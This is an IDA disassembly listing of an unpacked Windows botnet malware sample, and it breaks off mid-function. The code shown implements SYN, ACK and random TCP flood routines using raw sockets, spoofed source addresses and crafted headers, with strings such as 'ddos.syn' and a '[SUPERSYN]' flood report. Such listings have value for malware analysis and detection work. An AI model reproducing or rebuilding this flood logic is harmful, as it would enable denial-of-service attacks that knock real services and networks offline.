; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4B5CD2396CEEFB8A0D5ECA7E4D2894BF ; File Name : u:\work\4b5cd2396ceefb8a0d5eca7e4d2894bf_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000D0000 ( 851968.) ; Section size in file : 000D0000 ( 851968.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A15o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call near ptr 2610765h nop push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi call near ptr 2610356h nop pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43AD98 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43AD98 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_14], ax call dword_43AD94 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43AD98 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2610AEBh lea eax, [ebp+var_1C] push eax nop call near ptr 26107FCh push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 26107FCh mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43AE30 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43ACF8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C03o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43AD2C push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 2610356h nop loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43AD2C push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610356h loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610356h loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43ADD8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_436AB8, 45h call dword_43AD98 cmp [ebp+var_2C], edi mov word_436ABA, ax mov word_436ABC, bx mov word_436ABE, di mov byte_436AC0, 80h mov byte_436AC1, bl mov word_436AC2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_436AC4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov dword_436AC4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_436AC8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_436ACE, di mov word_436AD2, bx inc edx mov word_436AD0, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_436AD4 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_436AB8 push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 2610356h nop loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610356h sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43AD98 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_401954 push 64h call near ptr 2610F93h nop lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3906o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43AD98 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43AD98 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43AD98 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2610AEBh lea eax, [ebp+var_8] push eax nop call near ptr 26107FCh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 26107FCh mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43AE30 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43ACF8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call 